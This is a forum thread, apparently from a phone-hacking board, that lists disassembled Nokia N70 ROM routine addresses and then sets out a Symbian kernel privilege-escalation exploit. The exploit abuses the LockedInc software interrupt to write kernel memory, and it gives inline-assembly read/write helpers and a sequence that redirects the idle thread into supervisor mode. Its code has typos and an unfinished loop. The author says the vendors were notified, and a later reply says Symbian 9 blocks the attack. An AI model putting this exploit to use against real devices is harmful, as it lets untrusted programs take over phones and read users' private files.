View Full Version : N70 ROM disassembly

26-07-2006, 09:40 AM
N70 ROM disassembly

Hi all
The group THC published a file with the memory dump from Nokia N70 phones, which I could not find.
Nevertheless I extracted it and used IDA to dissasemble the file

The interesting part is that I found names for the routines.

Note that this is only a reduced list. There are about 1900 routines.
I have names for almost all of them, but didn't include in this listing.

If you find this interesting, just contact me at


50009020 = start
5000A6A0 = ImpHal__StartupReason_TMachineStartupType_ref_
5000A6B8 = ImpHal__RamSize_void_
5000A6C4 = ImpHal__DebugMask_void_
5000A6D0 = ImpHal__SetDebugMask_ulong_
5000A73C = ImpHal__TickPeriod_TTimeIntervalMicroSeconds32_ref_
5000A818 = ImpHal__Init1_void_
5000A98C = ImpHal__Init3_void_
5000ACC8 = ImpHal__DisableIrqsToLevel2_void_
5000ACDC = ImpHal__RestoreIrqs_int_
5000ACF4 = ImpHal__Init4_void_
5000AE44 = THelen__SetI2CController_TI2C_p__
5000AE54 = THelen__TheI2CController_void_
5000B598 = THelen__Register32_uint_
5000B5A0 = THelen__SetRegister16_uint_ushort_
5000B5A8 = THelen__ModifyRegister8_uint_unsigned_char_unsigned_char_
5000B8D0 = THelen__GetDPLLFrequency_uint_
5000B94C = THelen__IrqPending_uint_
5000B954 = THelen__FiqPending_uint_
5000B95C = THelen__SetIntLevel_uint_uint_
5000B96C = THelen__ModifyIntMask_uint_uint_uint_
5000B998 = THelen__ReadIntMask_uint_
5000B9A0 = THelen__AcknowledgeInt_uint_uint_
5000B9B0 = THelen__AcknowledgeInt_2_uint_uint_
5000B9C0 = THelen__GetInthReg_uint_uint_
5000B9D4 = THelen__SetCLKMReg_uint_uint_
5000B9E0 = THelen__GetCLKMReg_uint_
5000B9E4 = THelen__ClearCLKMReg_uint_uint_
5000B9EC = THelen__UpdateCLKMReg_uint_uint_
5000C32C = THelen__GetTCIFRegister_uint_
5000C33C = THelen__SetSDRAMState_THelen__TSDRAMState_
5000CCAC = TTickInt__TickComplete_void_p__
5000CF68 = ImpPic__Init1_void_
5000D098 = ImpPic__Init3_void_
5000D178 = ImpPic__GetID_TDesC8_const_ref_
5000D5FC = Arm__IrqDispatch_void_
5000DE44 = global_constructors_keyed_to_namesOMAP1509
5000F140 = ImpPsu__ExternalPowerPresent_void_
5000F148 = ImpPsu__MainBatteryMaxMilliVolts_void_
5000F168 = ImpPsu__BackupBatteryMaxMilliVolts_void_
5000F188 = ImpPsu__MainBatteryStatus_void_
5000F190 = ImpPsu__MainBatteryMilliVolts_void_
5000F198 = ImpPsu__BackupBatteryStatus_void_
5000F1A0 = ImpPsu__BackupBatteryMilliVolts_void_
5000F1A8 = ImpPsu__CheckPowerSupplies_void_
5000F320 = P__MicroSecondsToTicks_int_
5000F7B4 = ImpAsic__Panic_THelenPanic_
5000F7E8 = Asic__LowBattery_void_
5000F800 = Asic__HandleLowBattery_void_
5000F8EC = ImpHal__InitSystemTime_TTime_const_ref_
500105A8 = ImpExc__CheckCritical_int_TExcInfo_const_ref_void_p__int_
50010630 = ImpExc__AdjustRegisters_void_p__
50010B98 = _ArmVectorSwi_void_
50010DD8 = _ArmVectorIrq_void_
5001101C = _ArmVectorFiq_void_
500112F4 = dispatchDfcAndReschedule_void_
500113A4 = _ArmVectorReset_void_
500113AC = _ArmVectorReserved_void_
500113D4 = _ArmVectorAbortPrefetch_void_
500116AC = ImpHal__GetPartnerOSVectors_TPartnerOS_ref_
500119C4 = drainWriteBuffer_void_
50011A30 = ImpMmu__RoundToChunkSize_ulong_
50011A44 = ImpMmu__RoundToPageSize_ulong_
50011A58 = ImpMmu__PagesToEndOfPageTable_ulong_
50011A68 = ImpMmu__LinearToPhysical_ulong_
50011AF8 = ImpMmu__Init1_void_
50011BE4 = ImpMmu__Init2_void_
50012900 = ImpMmu__ClearRamDrive_void_
50012924 = ImpMmu__FlushShadow_void_
50012DF0 = ImpHal__NewChunkL_int_TChunkType_DProcess_p__
50013D50 = ImpHal__NewThreadL_void_p__int_
500140C4 = ExecHandler__TrapHandler_void_
500140D4 = ExecHandler__SetTrapHandler_TTrapHandler_p__
500157EC = Debug__WriteMemory_DThread_p__void_p__void_const_p__int_
5001612C = Exc__Dispatch_int_TExcInfo_const_ref_void_p__int_
500162D4 = Exc__Fault_int_TExcInfo_const_ref_void_p__int_
500165A4 = Plat__DebugMask_void_
500165A8 = P__SetDebugMask_ulong_
500169AC = Hal__MachineInfo_TMachineInfoV2_ref_
500169C8 = Hal__MemoryInfo_TMemoryInfoV1_ref_
50016A08 = Hal__SupplyInfo_TSupplyInfoV1_ref_
5001706C = Hal__TotalRamInBytes_void_
50017078 = Hal__TotalRomInBytes_void_
50017084 = Hal__MaxFreeRamInBytes_void_
50017090 = Hal__FreeRamInBytes_void_
500170A8 = Hal__RomVersion_void_
500170BC = Hal__XYInputType_void_
500170C0 = Hal__DisplaySizeInPixels_void_
500170D4 = Hal__MachineUniqueId_void_
500170EC = Hal__MainBatteryMilliVolts_void_
500170F0 = Hal__MainBatteryMaxMilliVolts_void_
500170F4 = Hal__BackupBatteryMaxMilliVolts_void_
500170F8 = Hal__BackupBatteryStatus_void_
500170FC = Hal__BackupBatteryMilliVolts_void_
50017100 = Hal__ExternalPowerPresent_void_
50017104 = Hal__Flags_void_
5001710C = Hal__TickPeriod_TTimeIntervalMicroSeconds32_ref_
50017124 = Hal__Init1_void_
50017208 = Hal__ColdStart_void_
50017218 = Hal__AddProtected_int_ref_int_
500172B0 = j_ImpPic__Init1_void_
500172B4 = j_ImpPic__Init3_void_
500172B8 = Pic__Dispatch_int_
5001732C = Pic__Bind_TInterrupt_ref_TDesC8_const_ref_
500173C4 = Pic__UnBind_TInterrupt_ref_
500174BC = Pic__CheckedEnable_int_
5001751C = Pic__Disable_int_
50017548 = Pic__Enable_int_
500179A4 = Psu__Init1_void_
500179AC = j_ImpMmu__Init1_void_
50018110 = Mmu__FreeRamInBytes_void_
50018138 = Mmu__MapRomL_ulong_ulong_int_
5001813C = Mmu__ReMap_ulong_ulong_
50018140 = P__NewChunkL_int_TChunkType_DProcess_p__
500181C8 = DPlatChunk__DPlatChunk_void_
500181F0 = DPlatChunk__Dest_DPlatChunk_void_
50018200 = DPlatChunk__Destruct_void_
500182C0 = DPlatChunk__DoCreate_int_TChunkType_
500189BC = DPlatChunk__Read_int_void_p__int__const
500189D0 = DPlatChunk__Write_int_void_const_p__int_
50019080 = DLibrary__DataInfo_int_TModuleInfo_ref_
50019130 = DLibrary__InitialiseData_int_DProcess_p__
50019530 = DPlatLibrary__CreateGenericDataChunkL_TLoaderInfo_ref_
5001A3F4 = P__FindRomRootDirectory_void_
5001A4B4 = ExecHandler__RomRootDirectoryAddress_void_
5001A4C4 = ExecHandler__RomHeaderAddress_void_
5001A4CC = j_ImpHal__Init4_void_
5001A5B0 = P__Initialise_void_
5001AB28 = TInterrupt__Enable_void_
5001AB38 = TInterrupt__Disable_void_
5001AB5C = TInterrupt__Bind_TDesC8_const_ref_
5001D1D8 = PP__Panic_PP__TPlatPanic_
5001D37C = Plat__CurrentThread_void_
5001D3A4 = Plat__Fault_TDesC16_const_ref_int_
5001D468 = RPlatHeapK__FixedHeap_void_p__int_
5001D880 = j_ImpHal__DisableIrqsToLevel2_void_
5001D884 = j_ImpHal__RestoreIrqs_int_
5001D888 = j_Hal__ExternalPowerPresent_void_
5001D894 = Plat__SetDebugger_DDebugger_p__
5001DA94 = DChunk__DChunk_void_
5001DABC = DChunk__Create_CObject_p__DProcess_p__TDesC16_const_p__int_TChunkType_
50020A80 = ExecHandler__At_TTime_const_ref_TRequestStatus_ref_
50020AA0 = ExecHandler__Language_void_
50020B58 = ExecHandler__CurrencySymbol_TDes16_ref_
50020B64 = ExecHandler__SetCurrencySymbol_TDesC16_const_ref_
50020FD0 = ExecHandler__SetDebugMask_ulong_
50020FD4 = ExecHandler__DebugMask_void_
5002CFDC = DThread__System_void__const
5002E5FC = DThread__IsExceptionHandled_TExcType_
5002FBB8 = Kern__HomeTimeOffset_void_
50031C84 = stub_TPtrC16__TPtrC16_ushort_const_p__
50031C90 = stub_TPtrC8__TPtrC8_unsigned_char_const_p__
50031C9C = stub_TInt64__TInt64_int_
50031CC0 = stub_TBufBase16__TBufBase16_int_
50031CCC = stub_TDes16__Copy_TDesC16_const_ref_
50031D08 = stub_Mem__FillZ_void_p__int_
50031DB0 = stub_TDesC8__Compare_TDesC8_const_ref__const
50031ED0 = stub_TDblQueIterBase__TDblQueIterBase_TDblQueBase_ref_
50031F54 = stub_TDesC16__Ptr_void__const
50032014 = stub_User__HandleException_void__p___TExcType__TExcType_
50032020 = stub_TInt64__operatorequal_int_
5003202C = stub_TInt64__operator_p__TInt64_const_ref__const
50032050 = stub_TInt64__operator__TInt64_const_ref__const
5003205C = stub_TInt64__GetTInt_void__const
5003208C = stub_TTime__operatorplus_TTimeIntervalSeconds__const
500321A0 = stub_CObjectCon__AddL_CObject_p__
500321AC = stub_TBufBase16__TBufBase16_TDesC16_const_ref_int_
500321B8 = stub_TUidType__operatorarrayint__const
500321C4 = stub_TUid__operatorequalequal_TUid_const_ref__const

26-07-2006, 04:04 PM

Cool stuff, to those who could use it.

Therefore I placed this post into the dct4 developers area where such guys hangout regularly.

Also, I closed Ur post in bb5 area, while we don't need the same stuff being spread all over the forum.


05-03-2007, 12:14 PM
Escalation of permissions in Symbian phones
by FCA00000-at-yahoo-dot-es

Symbian is an operating system used in many mobile phones including the new Nokia models and the Siemens-SX1.
In symbian the programs are usually executed in user-mode.
To access protected services they need to jump into kernel mode, which has unlimited power.
Of course the kernel will not allow the user program to do anything it wants: permissions need to be requested.
In particular, user-mode programs are not supposed to alter other processes or access the private filesystem.

Until now :-)

I discovered a weakness in the kernel funcion ExecHandler::LockedInc.
Normally it is used to increment a value whithin the current thread.

The assembly code is:
LDR R3, [R0] // loads R3 with the value at address R0
MOV R2, R3 // copies into R2
ADD R3, R3, #1 // increments
STR R3, [R0] // puts it back
MOV R0, R2 // tells the previous value
RET // returns

The function is invoked as
User::LockedInc(TInt& aValue);
that is inside euser.dll . The code simply does SWI 0x8D
(For a complete explanation. see "Crossing the Userland" by John Pagonis)

Because of the way it is invoked, it allows to choose any memory address, even kernel memory.
All we need is R0 pointing to the right place:
TInt addr=0x80400000;
asm ("MOV r0, %0" : : "r"(addr) : "r0"); // setup R0
asm ("MOV LR, PC" ); // come back when finished
asm ("SWI 0x8D"); // simulate User::LockedInc(int &)
asm ("nop"); // waste time
asm ("STR r0, %0" : "=m"(addr) ); // show new value

The only problem is that also increments the content, but with another SWI 0x8E we can decrement.

Of course not all memory can be read/written.
These are some interesting addresses:
The ROM starts from 0x50000000 and can be read, not written.
The addresses 0x00000000 - 0x3FFFFFFF do not exist
Starting from 0x40000000 there are 8K of static shared data
The kernel data EKern::SvDat lays at 0x80000000
The kernel stack EKern::SvStack is located at 0x80400000

After writing the EKern::SvDat it is trivial to jump in supervisor mode to a
all-powerfull routine that yourself program.
For example, when the processor is idle, it calls the NullThread that will land in
which in a Nokia N70, does
LDR R3, =0x8000047C
LDR R0, [R3]
LDR R3, [R0]
LDR PC, [R3,#0x18]

So I can write:
at address 0x8000047C, value 0x80000480 to set R0
at address 0x80000480, value 0x80000484 to set R3
at address 0x80000484+0x18, value 0x80000500 to set PC
at 0x80000500 , a powerfull routine.

I would use these:

TInt IncMem(TInt addr)
TInt value;
asm ("MOV r0, %0" : : "r"(addr) : "r0");
asm ("MOV LR, PC" );
asm ("SWI 0x8D");
asm ("nop");
asm ("STR r0, %0" : "=m"(value) );
return value;

TInt DecMem(TInt addr)
TInt value;
asm ("MOV r0, %0" : : "r"(addr) : "r0");
asm ("MOV LR, PC" );
asm ("SWI 0x8E");
asm ("nop");
asm ("STR r0, %0" : "=m"(value) );
return value;

void WriteMem(TInt addr, TInt value)
TInt currValue;
currValue = IncMem(addr);

for(TInt i=currValue; i<value; i++)

main() // replace with HandleCommandL or similar
TInt addr, value;
addr=0x80000500; value=0xE1A0F00E /* code for RET */ ; WiteMem(addr, value);
addr=0x80000484+0x18; value=0x80000500; WiteMem(addr, value);
addr=0x80000480; value=0x80000484; WiteMem(addr, value);
addr=0x8000047C; value=0x80000480; WiteMem(addr, value);
// wait until processor gets idle

So we achieve to jump to 0x80000500 in supervisor mode !
Use GCC or Keil to compile any useful routine, for example to increase the permissions of your Thread.
Then, you can override the TCE and read any system file or interact with the network.

There are several problems:
-First, it can only increment the value. To set a given value, it needs to write many times.
If the current value is 0x12345678 and you want to write 0x22222221, then it needs 0x0FEDCBA9 operations.
This takes a long time, even if you optimize the code. At least needs 20 minutes
-Second, it can not read a value without modifying it. This means that some critical kernel variables
can not be read because any slight change will make a crash.
-Third, Symbian uses pointers to pointers to pointers to pointers. This makes it difficult to
analyze any data.
-Last, every model is different. Kernel memory addresses are dependent on the kernel version. Different
firmware version also changes the addresses.

Nokia and Symbian have been informed about this. They even replied.

From my understanding, this bug is serious because any program can do any escalation of privileges.
I haven't verified in Symbian 9 ; only in previous versions.

So, be carefull about which programs you install in your mobile. You might get nasty surprises.

Thanks to Eric Bustarret for his great informations at www.newlc.com
To Vovan888 and SERRGE at www.oslik.ru for their great ideas.
To Jane Sales et Al. for the book Symbian OS Internals
To Siemens, for making a fully-open mobile.
To Symbian, for its great design. Even if their OS has bugs, it it really well done.

16-10-2007, 03:47 PM
This approach worked only at pre Symbian 9 platforms.
1) To call ExecHandler::LockedInc() in Symbian 9, "SWI 0x80000A" is used.
2) There's no need to implement self made assembler code. Calling User::LockedInc() is enough, it's exported from euser.dll
3) In Symbian 9 the application code doesn't have any access to kernel adresses. Even via LockedInc SWI.

10-06-2011, 07:26 AM
You can go to nearest store and disassemble it................